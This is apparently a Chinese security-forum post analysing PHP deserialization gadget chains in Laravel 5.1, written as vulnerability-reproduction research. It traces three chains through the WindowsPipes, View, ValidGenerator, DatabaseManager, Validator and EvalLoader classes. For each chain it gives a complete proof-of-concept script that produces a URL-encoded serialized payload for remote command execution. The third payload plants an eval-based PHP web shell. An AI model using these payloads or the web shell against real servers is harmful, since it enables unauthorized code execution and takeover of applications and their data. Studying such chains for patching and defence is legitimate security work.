问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
laravel5.1反序列化漏洞分析
渗透测试
最近在复现php反序列化漏洞,顺手挖了几条链子,希望师傅们多多点评,
0x00 准备 ======= 使用composer拉一个laravel5.1的环境 `composer create-project --prefer-dist laravel/laravel laravel5.1 "5.1.*"` 配置路由 控制等不在叙述 0x01 RCE1 ========= 先搜索`__destruct`方法 在`WindowsPipes`类中`__destruct`方法可任意删除文件  这里调用到了`$this->removeFiles()`跟进查看  遍历了`$this->files`判断文件是否存在,然后删除文件。这里调用`__toString` 全局搜索`__toString` 在`View`类中`__toString`方法调用了`$this->render()`  跟进这个函数看看  发现调用了`$this->renderContent()` 跟进看看  这里调用了`$this->factory->incrementRender()`可以调用任意类的`__call`方法 全局搜索`__call`方法 在`ValidGenerator`类中`__call`方法需要控制参数达到RCE的目的  `$this->vaildator`可控,接下来我们只需要控制`$res`即可 `$res = call_user_func_array(array($this->generator, $name), $arguments);` 调用方式为任意类的函数方法,`$this->generator`可控,所以就代表了可以调用任意类的`__call`方法,我们只需要找到一个`__call`方法返回任何值即可。 在`DefaultGenerator`类中`__call`方法可以返回任意值,  接下来构造poc ```php <?php namespace Faker; class DefaultGenerator{ protected $default; public function __construct(){ $this->default='whoami'; } } namespace Faker; class ValidGenerator{ protected $generator; protected $validator; protected $maxRetries; public function __construct(){ $this->maxRetries=1; $this->validator='system'; $this->generator=new DefaultGenerator; } } namespace Illuminate\View; use Faker\ValidGenerator; class View{ protected $factory; public function __construct(){ $this->factory=new ValidGenerator; } } namespace Symfony\Component\Process\Pipes; use Illuminate\View\View; class WindowsPipes{ private $files = array(); public function __construct(){ $this->files = array(new View()); } } echo urlencode(serialize(new WindowsPipes())); ?> ``` 成功RCE  0x02 RCE2 ========= 继续从`__call`方法寻找 全局搜索`__calll` 在`DatabaseManager`类中调用了`$this->connection()`  跟进`$this->connecttion()`  通过`$this->parseConnectionName($name)`给`$name`赋值,跟进  通过`$this->getDefaultConnection()`给`$name`赋值,跟进 直接返回了`$this->app['config']['database.default'];`  最后返回,  跟进`endsWitch`  传入的`$name`并不在传入的`['::read','::write']`中所以返回false 最终返回了`[$name,null]` `$name`最终被传入的`$this->app['config']['database.default']`赋值 当`$this->connections[$name]`不存在,执行`$this->makeConnection($name)`方法,跟进  发现`call_user_func`方法控制参数可达到RCE的目的, 第二个参数`$config`,跟进`$this->getConfig()`看看返回值是什么  通过`app['config']['database.connections']`赋值给`$connections`然后通过`Arr::get($connections, $name)`赋值给`$config` 跟进`Arr::get`  传入的`$key`为`whoami`,所以直接返回了`system` 相当于`$config=$this->app['config']['database.connections']['whoami']` 第一个参数`$this->extensions[name]`赋值`call_user_func` ```php <?php namespace Illuminate\Database; class DatabaseManager{ protected $extensions = array(); protected $app=array(); public function __construct(){ $this->extensions['whoami']='call_user_func'; $this->app['config']['database.connections']=['whoami'=>'system']; $this->app['config']['database.default'] = 'whoami'; } } namespace Illuminate\View; use Illuminate\Database\DatabaseManager; class View{ protected $factory; public function __construct(){ $this->factory=new DatabaseManager; } } namespace Symfony\Component\Process\Pipes; use Illuminate\View\View; class WindowsPipes{ private $files = array(); public function __construct(){ $this->files = array(new View()); } } echo urlencode(serialize(new WindowsPipes())); ?> ``` 成功RCE  0x03 RCE3 ========= 继续从`__call`方法寻找 全局搜索`__call` 在`Validator`类中`__call`方法中满足`$this->extensions[$rule]`存在则调用`$this->callExtension`方法  跟进看一下  满足`$callback`是字符串则调用`$this->callClassBasedExtension()`,继续跟进`$this->callClassBasedExtension()`  这里 `call_user_func_array([$this->container->make($class), $method], $parameters);` 只要控制`$this->container->make($class)`的返回值,就可以调用任意类的任意方法。 全局搜索一下危险函数,如`eval`,`system`,`call_user_func`,`shell_exec`等 运气比较好搜了一下`eval`便出了 在`EvalLoader`类中存在`load`方法满足`class_exists($definition->getClassName(),false)===false`则调用了`eval`函数  跟进一下`$definition->getCode()`看一下参数是否可控  直接返回了`$this->code`参数便可控, 调用`load`函数中,发现需要传参`MockDefinition $definition`,上面调用`__call`这一步就没有办法用了,因为没有传参。所以无法控制`$parameters`。所以这里换到了`ObjectStateToken`类中的`__toString`函数可以控制传参。  成功调用到了`EvalLoader`类中的`load`函数  看一下`class_exists`的定义  `$definition->getClassName()`返回一个没有定义的类即可。跟进查看  返回了`$this->config->getName()`让他去调用`__call`方法返回一个任意值即可。 这里还利用`DefaultGenerator`类中的`__call`方法返回任意值, 接下来控制`$definition->getCode()`,跟进查看一下  直接返回了`$this->code`直接赋值即可。 构造poc ```php <?php namespace Mockery\Loader; class EvalLoader{} namespace Faker; use Mockery\Loader\EvalLoader; class DefaultGenerator{ public $default; public function __construct(){ $this->default=new EvalLoader; } } namespace Illuminate\Validation; use Faker\DefaultGenerator; class Validator{ protected $extensions = []; protected $container; public function __construct(){ $this->extensions['y']='huahua@load'; $this->container=new DefaultGenerator; } } namespace Mockery\Generator; use Faker\DefaultGenerator; class MockDefinition{ protected $config; public function __construct(){ $this->config=new DefaultGenerator; $this->config->default='huahua'; $this->code='<?php eval($_POST[1]);'; } } namespace Prophecy\Argument\Token; use Illuminate\Validation\Validator; use Mockery\Generator\MockDefinition; class ObjectStateToken{ private $util; private $value; public function __construct(){ $this->util=new Validator; $this->value=new MockDefinition; } } namespace Symfony\Component\Process\Pipes; use Prophecy\Argument\Token\ObjectStateToken; class WindowsPipes{ private $files = array(); public function __construct(){ $this->files = array(new ObjectStateToken()); } } echo urlencode(serialize(new WindowsPipes())); ?> ```
发表于 2022-05-17 09:58:27
阅读 ( 5614 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
请先
登录
后评论
花北城
4 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!